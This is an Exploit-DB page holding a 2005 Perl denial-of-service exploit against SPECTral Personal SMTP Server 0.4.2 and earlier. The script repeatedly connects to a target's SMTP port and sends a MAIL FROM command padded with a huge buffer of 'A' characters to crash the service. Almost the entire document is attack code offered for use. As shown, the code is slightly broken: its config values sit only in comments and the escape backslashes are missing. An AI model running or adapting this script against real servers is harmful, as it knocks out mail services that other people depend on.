https://www.exploit-db.com/exploits/899

漏洞细节尚未披露

#!/usr/bin/perl

use IO::Socket;

###### Small config ################################
#                                                  #
# If service not DoSeD try to increase this value. # 
#                                                  #
# Number of trys for DoS.                          #
#                                                  #
#   $trys = 10;                                    #
#                                                  #
# Quantity signs for atack.                        #
#                                                  #
#   $buf = 200000;                                 #
#                                                  #
####################################################

if (@ARGV < 1)
{
print "n /n";
print "  DoS - SPECTral Personal SMTP Server <= 0.4.2 b 338  n";
print "            Usage: Dos_sp_0.3.pl <ip> [port]          n";
print "        Coded by GreenwooD Network Security Team      nn";      
print "         ============< nst.void.ru >===========       n";
print "                                                      /n";
exit();

}

$ip = $ARGV[0];

$port = 25;

if ($ARGV[1])
{
 $port=$ARGV[1];
}

$j=1;

print "n [+] - Prepare to DoS on $ip:$portn";

do

{

    $remote = IO::Socket::INET->new( Proto => "tcp",
                                     PeerAddr  => $ip,
                                     PeerPort  => $port) or die "n [-] - Can't connect to $ip:$port or already DoSeDn";

    $i=1;

    $remote->send("HELO Victem. You going down today. You SMTP service vulnearable, update it. It is exploit usage.rn");
   
    sleep $i;
 
    $remote->send("MAIL FROM:<" . "A" x $buf . ">rn");
    
    sleep $i;
    
    $remote->send("RCPT TO:<[email protected]>rn");
    
    sleep $i;

    $remote->send("DATArn");
    
    sleep $i;
   
    $remote->send(" This of shit letter! " . rand(10) . "rn");

    sleep $i;

    $remote->send(".rn");

    close($remote);

    print " [t] - Number of try = $jn";

    $j=$j+1;

} until ($j > $trys);

print " [+] - O yes! Service going down...n";

# milw0rm.com [2005-03-28]